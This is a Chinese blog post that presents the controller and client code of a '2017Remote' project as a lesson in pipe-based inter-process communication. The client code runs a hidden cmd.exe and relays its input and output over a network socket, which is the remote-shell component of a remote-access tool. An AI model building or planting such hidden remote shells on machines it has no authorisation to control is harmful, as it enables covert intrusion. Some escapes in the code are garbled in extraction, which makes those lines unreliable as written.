zoukankan      html  css  js  c++  java
  • 进程间通信---管道

    网上有大量的关于管道的理论文章,在此不再赘述,最近在做一个通信上的项目,正好用到管道-------MFC对话框和CMD之间的通信。

    主控端做成成品,做的MFC。

    主控端代码

      1 // CmdManagerDlg.cpp : 实现文件
      2 //
      3 
      4 #include "stdafx.h"
      5 #include "2017Remote.h"
      6 #include "CmdManagerDlg.h"
      7 #include "afxdialogex.h"
      8 #include "Common.h"
      9 
     10 // CmdManagerDlg 对话框
     11 
     12 IMPLEMENT_DYNAMIC(CmdManagerDlg, CDialog)
     13 
     14 CmdManagerDlg::CmdManagerDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
     15     : CDialog(IDD_DIALOG_CMD_MANAGER, pParent)
     16 {
     17     m_IOCPServer = IOCPServer;
     18     m_ContextObject = ContextObject;
     19 
     20     m_IconHwnd = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CMD_MANAGER));
     21 }
     22 
     23 CmdManagerDlg::~CmdManagerDlg()
     24 {
     25 }
     26 
     27 void CmdManagerDlg::DoDataExchange(CDataExchange* pDX)
     28 {
     29     CDialog::DoDataExchange(pDX);
     30     DDX_Control(pDX, IDC_EDIT_CMD, m_CEdit_Cmd);
     31 }
     32 
     33 
     34 BEGIN_MESSAGE_MAP(CmdManagerDlg, CDialog)
     35     ON_WM_CLOSE()
     36     ON_WM_CTLCOLOR()
     37     ON_WM_SIZE()
     38 END_MESSAGE_MAP()
     39 
     40 
     41 // CmdManagerDlg 消息处理程序
     42 
     43 
     44 BOOL CmdManagerDlg::OnInitDialog()
     45 {
     46     CDialog::OnInitDialog();
     47     // TODO:  在此添加额外的初始化
     48     SetIcon(m_IconHwnd, FALSE);
     49     // If TRUE, the default value, the method sets a large icon. Otherwise, it sets a small icon. 
     50     CString v1;
     51     sockaddr_in  ClientAddress;
     52     memset(&ClientAddress, 0, sizeof(ClientAddress));
     53     int ClientLength = sizeof(ClientAddress);
     54     BOOL bRet = getpeername(m_ContextObject->ClientSocket, (SOCKADDR*)&ClientAddress, &ClientLength); //得到连接的ip 
     55     v1.Format("IP:%s", bRet != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
     56     SetWindowText(v1);//设置对话框标题
     57     m_uReceiveDataLength = 0;
     58     m_nCurSel = 0;
     59     BYTE bToken = CMD_MANAGER::COMMAND_CMD_CONTINUE;
     60     m_IOCPServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
     61     return TRUE;  // return TRUE unless you set the focus to a control
     62                   // 异常: OCX 属性页应返回 FALSE
     63 }
     64 
     65 
     66 void CmdManagerDlg::OnClose()
     67 {
     68     // TODO: 在此添加消息处理程序代码和/或调用默认值
     69     m_ContextObject->DlgID = 0;
     70     CancelIo((HANDLE)m_ContextObject->ClientSocket);
     71     closesocket(m_ContextObject->ClientSocket);
     72     CDialog::OnClose();
     73 }
     74 
     75 
     76 HBRUSH CmdManagerDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
     77 {
     78     HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
     79 
     80     // TODO:  在此更改 DC 的任何特性
     81     if ((pWnd->GetDlgCtrlID() == IDC_EDIT_CMD) && (nCtlColor == CTLCOLOR_EDIT))
     82     {
     83         COLORREF clr = RGB(255, 255, 255);
     84         pDC->SetTextColor(clr);   //设置白色的文本
     85         clr = RGB(0, 0, 0);
     86         pDC->SetBkColor(clr);     //设置黑色的背景
     87         return CreateSolidBrush(clr);  //作为约定,返回背景色对应的刷子句柄
     88     }
     89     else
     90     {
     91         return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
     92     }
     93     // TODO:  如果默认的不是所需画笔,则返回另一个画笔
     94     return hbr;
     95 }
     96 
     97 VOID CmdManagerDlg::OnReceiveComplete()
     98 {
     99     if (m_ContextObject == NULL)
    100     {
    101         return;
    102     }
    103     ShowData();
    104     m_uReceiveDataLength = m_CEdit_Cmd.GetWindowTextLength();
    105 }
    106 
    107 VOID CmdManagerDlg::ShowData(void)
    108 {
    109     m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1);    //接个
    110 
    111     CString     strBuffer = (char*)m_ContextObject->InDeCompressedBuffer.GetBuffer();    //获得所有数据
    112     strBuffer.Replace("
    ", "
    ");
    113 
    114     int iLength = m_CEdit_Cmd.GetWindowTextLength();//获得当前窗口的字符个数
    115 
    116     m_CEdit_Cmd.SetSel(m_nCurSel, iLength);    //此函数选中[L,R]的区域,相同则呈现条形
    117 
    118     m_CEdit_Cmd.ReplaceSel(strBuffer);    //同传递过来的数据替换掉上述位置的字符
    119 
    120     m_nCurSel = m_CEdit_Cmd.GetWindowTextLength();    //重新获得此时光标的位置
    121 }
    122 
    123 BOOL CmdManagerDlg::PreTranslateMessage(MSG* pMsg)
    124 {
    125     // TODO: 在此添加专用代码和/或调用基类
    126     if (pMsg->message == WM_KEYDOWN)
    127     {
    128         // 屏蔽VK_ESCAPE、VK_DELETE
    129         if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
    130             return true;
    131         //如果是可编辑框的回车键
    132         if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_CEdit_Cmd.m_hWnd)
    133         {
    134             int iLength = m_CEdit_Cmd.GetWindowTextLength();
    135 
    136             CString    strBuffer;
    137             m_CEdit_Cmd.GetWindowText(strBuffer);
    138 
    139             strBuffer += "
    ";
    140 
    141             m_IOCPServer->OnClientPreSending(m_ContextObject, (LPBYTE)strBuffer.GetBuffer() + m_nCurSel, strBuffer.GetLength() - m_nCurSel);
    142         }
    143         // 限制VK_BACK   消到<=第一次接收到的数据时,就不能消了
    144         if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_CEdit_Cmd.m_hWnd)
    145         {
    146             if (m_CEdit_Cmd.GetWindowTextLength() <= m_uReceiveDataLength)
    147                 return true;
    148         }
    149     }
    150     return CDialog::PreTranslateMessage(pMsg);
    151 }
    152 
    153 VOID CmdManagerDlg::ResizeEdit(void)
    154 {
    155     if (m_CEdit_Cmd.m_hWnd == NULL)
    156     {
    157         return;
    158     }
    159     RECT    rectClient;
    160     RECT    rectEdit;
    161     GetClientRect(&rectClient);
    162     rectEdit.left = 0;
    163     rectEdit.top = 0;
    164     rectEdit.right = rectClient.right;
    165     rectEdit.bottom = rectClient.bottom;
    166     m_CEdit_Cmd.MoveWindow(&rectEdit);
    167 }
    168 void CmdManagerDlg::OnSize(UINT nType, int cx, int cy)
    169 {
    170     CDialog::OnSize(nType, cx, cy);
    171 
    172     // TODO: 在此处添加消息处理程序代码
    173     ResizeEdit();
    174 }
    View Code

    客户端代码

      1 #include "CmdManager.h"
      2 #include "Common.h"
      3 CmdManager::CmdManager(IOCPClient* ClientObject) :Manager(ClientObject)
      4 {
      5     SECURITY_ATTRIBUTES  sa = { 0 };
      6     sa.nLength = sizeof(sa);
      7     sa.lpSecurityDescriptor = NULL;
      8     sa.bInheritHandle = TRUE;     //重要  
      9     //cmd可以继承handle
     10     m_ReadHandle1 = NULL;       //Client
     11     m_WriteHandle1 = NULL;       //Client
     12     m_ReadHandle2 = NULL;       //Cmd
     13     m_WriteHandle2 = NULL;       //Cmd
     14     //创建管道
     15     if (!CreatePipe(&m_ReadHandle1, &m_WriteHandle2, &sa, 0))
     16     {
     17         if (m_ReadHandle1 != NULL)
     18         {
     19             CloseHandle(m_ReadHandle1);
     20         }
     21         if (m_WriteHandle2 != NULL)
     22         {
     23             CloseHandle(m_WriteHandle2);
     24         }
     25         return;
     26     }
     27 
     28     if (!CreatePipe(&m_ReadHandle2, &m_WriteHandle1, &sa, 0))
     29     {
     30         if (m_WriteHandle1 != NULL)
     31         {
     32             CloseHandle(m_WriteHandle1);
     33         }
     34         if (m_ReadHandle2 != NULL)
     35         {
     36             CloseHandle(m_ReadHandle2);
     37         }
     38         return;
     39     }
     40     
     41     char szCmdFullPath[MAX_PATH] = { 0 };
     42     GetSystemDirectory(szCmdFullPath, MAX_PATH);
     43     //C:windowssystem32
     44     strcat(szCmdFullPath, "\cmd.exe");
     45     //C:windowssystem32cmd.exe
     46     STARTUPINFO          si = { 0 };
     47     // is used with the CreateProcess function to specify main window properties if a new window is created for the new process
     48     PROCESS_INFORMATION  pi = { 0 };    //CreateProcess
     49 
     50     memset((void *)&si, 0, sizeof(si));
     51     memset((void *)&pi, 0, sizeof(pi));
     52 
     53     si.cb = sizeof(STARTUPINFO);  
     54 
     55     si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
     56     si.hStdInput = m_ReadHandle2;                           //将管道数据向Cmd赋值
     57     si.hStdOutput = si.hStdError = m_WriteHandle2;
     58 
     59     si.wShowWindow = SW_HIDE;   //窗口隐藏
     60 
     61     //创建新的进程
     62     if (!CreateProcess(szCmdFullPath, NULL, NULL, NULL, TRUE,
     63         NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
     64     {
     65         CloseHandle(m_ReadHandle1);
     66         CloseHandle(m_WriteHandle1);
     67         CloseHandle(m_ReadHandle2);
     68         CloseHandle(m_WriteHandle2);
     69         return;
     70     }
     71 
     72     //保存Cmd进程的进程句柄和主线程句柄
     73     m_CmdProcessHandle = pi.hProcess;   
     74     m_CmdThreadHandle = pi.hThread;
     75 
     76     BYTE    bToken = CMD_MANAGER::COMMAND_CMD_MANAGER_REPLY;            //包含头文件 Common.h     
     77     m_ClientObject->OnServerSending((char*)&bToken, 1);
     78 
     79     WaitForDialogOpen();
     80 
     81     m_bStarting = TRUE;
     82     m_ThreadHandle = CreateThread(NULL, 0,
     83         (LPTHREAD_START_ROUTINE)ReadCallBack, (LPVOID)this, 0, NULL);   //Client 读取管道数据  
     84 }
     85 
     86 CmdManager::~CmdManager()
     87 {
     88     m_bStarting = FALSE;
     89 
     90     TerminateThread(m_CmdThreadHandle, 0);     //结束我们自己创建的Cmd线程
     91     TerminateProcess(m_CmdProcessHandle, 0);   //结束我们自己创建的Cmd进程
     92 
     93     Sleep(100);
     94 
     95     if (m_ReadHandle1 != NULL)
     96     {
     97         DisconnectNamedPipe(m_ReadHandle1);
     98         CloseHandle(m_ReadHandle1);
     99         m_ReadHandle1 = NULL;
    100     }
    101     if (m_WriteHandle1 != NULL)
    102     {
    103         DisconnectNamedPipe(m_WriteHandle1);
    104         CloseHandle(m_WriteHandle1);
    105         m_WriteHandle1 = NULL;
    106     }
    107     if (m_ReadHandle2 != NULL)
    108     {
    109         DisconnectNamedPipe(m_ReadHandle2);
    110         CloseHandle(m_ReadHandle2);
    111         m_ReadHandle2 = NULL;
    112     }
    113     if (m_WriteHandle2 != NULL)
    114     {
    115         DisconnectNamedPipe(m_WriteHandle2);
    116         CloseHandle(m_WriteHandle2);
    117         m_WriteHandle2 = NULL;
    118     }
    119 }
    120 
    121 DWORD WINAPI CmdManager::ReadCallBack(LPVOID lParam)
    122 {
    123     CmdManager    *Manager = (CmdManager*)lParam;
    124     char szBuffer[0x400] = { 0 };
    125     DWORD    dwReturn = 0;
    126     DWORD    dwTotal = 0;
    127     while (Manager->m_bStarting)
    128     {
    129         Sleep(100);
    130         //R1是cmd回传的数据
    131         while (PeekNamedPipe(Manager->m_ReadHandle1,
    132             szBuffer,sizeof(szBuffer),&dwReturn,&dwTotal,NULL))
    133         {
    134             if (dwReturn <= 0)
    135             {
    136                 break;
    137             }
    138             memset(szBuffer, 0, sizeof(szBuffer));
    139             LPBYTE    szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
    140             //读取管道数据
    141             ReadFile(Manager->m_ReadHandle1,
    142                 szTotalBuffer, dwTotal, &dwTotal, NULL);
    143 
    144             Manager->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwTotal);
    145             LocalFree(szTotalBuffer);
    146         }
    147     }
    148     cout << "ReadPipe线程退出" << endl;
    149     return 0;
    150 }
    151 //在某个部位调用,在这不予显示
    152 VOID CmdManager::OnReceive(PBYTE szBuffer, ULONG ulBufferLength)
    153 {
    154     switch (szBuffer[0])
    155     {
    156     case CMD_MANAGER::COMMAND_CMD_CONTINUE:
    157     {
    158         NotifyDialogIsOpen();
    159         break;
    160     }
    161     default:
    162         unsigned long ulReturnLength = 0;
    163         if (WriteFile(m_WriteHandle1, szBuffer, ulBufferLength, &ulReturnLength, NULL))
    164         {
    165             //写入管道中
    166         }
    167         break;
    168     }
    169 }
    View Code
  • 相关阅读:
    var_threshold
    一些动态绑定数据代码
    直线与圆的拟合测量
    圆的拟合__测量圆心距
    halcon骨架与xld的区分
    dyn_threshold
    模板匹配加测量Demo
    ToString 格式
    S7-200 运动控制
    环形图片识别
  • 原文地址:https://www.cnblogs.com/littlepear/p/6402175.html
Copyright © 2011-2022 走看看